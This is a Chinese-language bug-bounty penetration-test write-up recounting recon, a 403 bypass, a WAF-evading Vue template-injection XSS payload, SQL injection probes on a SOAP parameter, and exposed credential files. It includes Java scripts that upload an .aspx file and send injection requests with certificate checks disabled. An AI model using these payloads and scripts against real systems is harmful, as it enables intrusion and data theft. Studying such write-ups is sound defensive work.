某SRC的渗透测试实战

前言

因为不甘心被称作会只点鼠标的猴子，所以开始了一次某SRC漏洞挖掘，为期一个多星期。文章有点长，但请耐心看完，记录了完整的SRC漏洞挖掘实战

渗透过程

因为选择的幸运儿没有对测试范围进行规划，所以此次范围就是没有范围。

先上主域名看一眼，看看能收集到什么有效信息：

发现存在搜索框：

测试点＋1

对页面点点点没发现什么有用的页面。

抓包看看，发现网站搭建了CDN，还有特殊文件：

难度+1，信息+1

谷歌一下，Sitecore是CMS，如果能确定这个CMS的版本就变成了白盒审计，但是尝试了一下无法确定版本只能用网上公开的CMS漏洞来测试。

网上只找到一个CVE-2021-42237（Sitecore XP远程代码执行漏洞），找个POC试试：

找了半天也只找到这几个，可能是因为这个CMS相对来说使用人数较少或者是写的好本身就没漏洞的原因。

用其中一个进行测试：

POC利用失败，提示连接出错。对POC代码分析：

发现请求的POC地址为：

手工请求URL地址后发现，被服务器拒绝访问了，对方做了敏感地址限制访问：

搜索CMS信息得知 /Sitecore 为 Sitecore CMS的后台地址目录，那就变得合理了起来，后续可以尝试绕过限制访问。

测试点+1。

对其进行端口扫描，看有什么暴露在外的服务。可以使用nmap也可以使用其他手段，但是本人对于端口扫描更倾向于使用nmap。

对收集到的端口一一访问，只有443端口能访问，此网站搭建了MySQL服务，1723端口搭建了内部人员使用的VPN服务，但是无法访问，其他的端口同样如此。

利用网上公开的平台扫描一下：

对前面收集的信息确认了一下，多了几个测试点。

对此域名的简单信息收集完成了，看看都有些什么漏洞，可以对漏洞点小测一下：

可以看到网站并没有对特殊符号进行过滤，那这个地方就可能存在SQL或者XSS注入

查看页面源代码发现此处的语句貌似很不安全，可能没有做转译。

测试发现存在WAF，这里可以尝试WAF绕过，但是暂时先不绕过了，渗透测试刚开始就挑硬柿子捏可能会导致开局不利

那就到网上看看收集到的插件可能会存在什么漏洞，搜来搜去只有发现Vue框架有一个可能有用的模板注入漏洞：

但可惜 Vue 是前端框架，Vue 的漏洞影响注定不会太大。通常 Vue.js 数据是通过双大括号{{}}或者v-text指令进行的数据绑定。Vue.js会自动将对应的模版编译成 JS 代码。但是它的源代码是没有对输入的数据进行过滤的。使用公开POC进行测试：

果不其然，被WAF拦截了

换种方法测试，同样行不通：

访问robots.txt可能会有额外的收获：

确定CMS为Sitecore，访问 /api 是403，访问Sitemap：

继续跳转：

是开发网站时的XML配置文件，算是信息泄露，不过没什么危害。

还可以试试403byass，具体绕过过程就不在这里演示了，通过X-Rewrite-URL覆盖路径实现了绕过：

但是上页面发现，绕过了，但并没有完全绕过，还是被重定向到主页面了。

那就收集旁站和子域名，可以使用工具像Layer，也可以用黑暗引擎像FOFA，SHODAN，笔者这里就用了FOFA收集：

俗话说的好一根烟，一杯酒，一个网站测一天。收集了一天，同时也测了一天，用了各种漏扫工具，扫着扫着就被封IP了。延时也好挂代理也好，漏扫工具终究有的漏洞点是扫不到的，况且只会用漏扫工具，那我不还是会点鼠标的猴子，为了成功吃到此次的西瓜，无奈只好大部分采用手工测试。

当然一天不可能什么收获都没有，因为这次测试的公司是个大规模公司（人家行业的领头羊呢），所以他们的暴露面就会相对来说广了许多：

收集到了几个相对来说较为有用的站点：

这几个站点很有意思，用的是同一套CMS，内容一样，功能一样，没区别。可能是当时搭建网站的时候使用的测试页面。

还有一个网站标题为项目管理网站，但是点开却什么功能都没有，后台扫描，上漏扫工具也什么都没扫到（这不纯纯诈骗吗）。

但是这是时候发现了一个站点开是空白，什么显示都没有，一般来说，这种空白的站可能会有意想不到的收获，因为可能是开发者遗漏掉的站

用后台扫描工具扫一下，还真扫出了两个文件：

访问一下

网站的开发文件泄露了，我们得到了网站插件的具体版本

另一个是一张GIF图：

页面并没有什么特别的地方，右键查看网页源代码看看，开发者ID值泄露了：

但是发现的这两个漏洞并没有什么实质性的作用，后期可能会配合其他的漏洞加以利用。实战情况下就是这么让人头大

那么就对先前发现的同模板网站进行测试，同样使用Vue的模板注入漏洞的POC：

页面输出了乘法运算的结果，进一步验证确定存在Vue模板注入漏洞，成功弹窗：

经过验证后其他两个网站也存在这个漏洞，能发现存在这个漏洞还是因为这些测试网站并没有搭建WAF，可能是开发者遗漏下的站点。所以说，柿子要挑软的捏，总不能说一开始就对一个布下重重防御的堡垒去测试，那样有可能浪费了很长时间都没有半点收获。

那么我们现在能知道主域名上也肯定存在这个漏洞，需要做的就是WAF绕过。对与如何绕过网上都有教程，这里就不在过多赘述，这是最终结果：

Payload：{{constructor.constructor%0a(%27\u0061\u006c\u0065\u0072\u0074`1`%27)()}}

成功吃到西瓜，但是这个漏洞本质上还只是一个XSS，费了我这么长时间总不能就吃个小吧？

继续对域名进行收集测试，期间收集到一些各种各样的网站后台，都只是简单的测试了一下有没有SQL和逻辑漏洞，一直没有什么实质性的收获。真是碰上了一块硬骨头，这些网站都有人员维护，不光有WAF，而且该修的漏洞基本上都修了，就连OpenSSH1.1.1都升级到了1.1.1.c ，我都想换个SRC重新测了。

终于，在一个星期后的一天继续信息收集时，在FOFA上发现了一个 Service Web Service 接口

点开了其中一个发现给出了接口的调用代码，而且还有文件上传，XML上传的接口：

调用接口试试：

接口调用失败，又试了很多次，还是失败，换安全的文件、后缀、00截断都没有成功，因为不确定具体是因为什么原因所以写了个java脚本测试一下具体是什么原因：

import java.io.*;
import java.net.*;

public class FileUploader {
public static void main(String[] args) throws Exception {
String url = "http://target.com/Service.asmx";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();

// 设置请求方法和请求头
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "text/xml; charset=utf-8");
con.setRequestProperty("SOAPAction", "http://tempuri.org/UploadFile");

// 构造SOAP消息体
String fs = ""; // TODO: 将文件内容转换为base64编码字符串
String path = "test.aspx";
String fileName = "test.aspx";
String soapXml =
"<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' " +
"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' " +
"xmlns:xsd='http://www.w3.org/2001/XMLSchema'>" +
"<soap:Body>" +
"<UploadFile xmlns='http://tempuri.org/'>" +
"<fs>" + fs + "</fs>" +
"<path>" + path + "</path>" +
"<fileName>" + fileName + "</fileName>" +
"</UploadFile>" +
"</soap:Body>" +
"</soap:Envelope>";

// 发送SOAP消息体
con.setDoOutput(true);
OutputStream os = con.getOutputStream();
os.write(soapXml.getBytes());

// 读取响应
int responseCode = con.getResponseCode();
System.out.println("Response Code : " + responseCode);

BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();

while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();

// 打印响应
System.out.println(response.toString());
}
}

程序提示对方服务器积极拒绝连接，说明管理员对调用文件上传接口IP做了限制（可真是块硬骨头），XML上传也同样是如此

无奈只能换个方向，用后台扫描工具扫一下，还真扫出了大量敏感文件：

因为帽子叔叔 + 这些数据真的是特别敏感的原因，就不方便展示了，只能说一下大概：

target.com/log/ 存放服务器日志文件
target.com/data/ 存放数据库文件
target.com/data/Setting.xml 包含数据库用户名，密码，IP地址
target.com/old/ 包含了服务器名称，密码
target.com/trace.axd 包含了服务器搭载的应用程序代码
target.com/update/ 存放系统内部文件，应用程序，dll
target.com/update/Setting.xml 服务名，IP，计算机名，密码和内部IP地址

这颗西瓜甜，但当时渗透测试进展到这个地步时，已经花费了一个星期的时间，所以笔者并不是很满意。所以就再对剩下的接口一一测式。其中一个接口是用来盘点商品信息的：

配合文件泄露漏洞，构造数据包，然后对其进行测试：

在 whcode 参数处输入商品货号，返回包中StocktakingStartResult 参数返回值为0

而随便输入一个不存在的数据，返回包中StocktakingStartResult 参数返回值为-1，由此可知接口调用成功返回值为0，失败为-1：

进一步构造判断语句，查看是否存在SQL注入漏洞：

验证：-1' OR 1=1 ==> true 返回值为0

验证：-1' OR 3+220-220-1=0+0+0+1 ==> false 返回值为-1

验证：-1' OR 3*2=6 AND 000220=000220 ==> true 返回值为0

所以在参数whcode处一定存在SQL注入漏洞

判断完后就开始对其进行SQL注入：

发现竟然报错了，一开始笔者以为是语句构造错了，又换了几种语句无果后，想看看调用接口的回显是什么，问题出在哪里，所以就写了个脚本帮助判断

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;

public class asmx {
public static void main(String[] args) throws Exception {
// 设置请求参数
String url = "https://target.com/";
String soapAction = "http://tempuri.org/StocktakingStart";
String payload = "<?xml version=\"1.0\"?><soap12:Envelope xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:tns=\"http://tempuri.org/\"><soap12:Header /><soap12:Body><tns:StocktakingStart><tns:user>tsSLAueP</tns:user><tns:whcode>1</tns:whcode><tns:PDtype>1</tns:PDtype><tns:UNITCODE>94102</tns:UNITCODE><tns:BRANDCODE>94102</tns:BRANDCODE></tns:StocktakingStart></soap12:Body></soap12:Envelope>";

// 创建连接
URL requestUrl = new URL(url);
HttpURLConnection connection = (HttpURLConnection) requestUrl.openConnection();

// 忽略SSL证书验证
javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier(
(hostname, sslSession) -> true);
trustAllHttpsCertificates();

// 设置请求方法和头部
connection.setRequestMethod("POST");
connection.setRequestProperty("SOAPAction", soapAction);
connection.setRequestProperty("Content-Type", "text/xml;charset=UTF-8");
connection.setDoOutput(true);

// 发送请求
OutputStreamWriter writer = new OutputStreamWriter(connection.getOutputStream(), "UTF-8");
writer.write(payload);
writer.flush();
writer.close();

// 接收回显
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder responseBuilder = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
responseBuilder.append(line);
}
String response = responseBuilder.toString();
reader.close();

// 输出回显
System.out.println(response);
}

// 忽略SSL证书验证所需的方法
private static void trustAllHttpsCertificates() throws Exception {
javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1];
javax.net.ssl.TrustManager tm = new miTM();
trustAllCerts[0] = tm;
javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, null);
javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}

// 忽略SSL证书验证所需的类
static class miTM implements javax.net.ssl.TrustManager,
javax.net.ssl.X509TrustManager {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}

public boolean isServerTrusted(
java.security.cert.X509Certificate[] certs) {
return true;
}

public boolean isClientTrusted(
java.security.cert.X509Certificate[] certs) {
return true;
}

public void checkServerTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException {
return;
}

public void checkClientTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException {
return;
}
}
}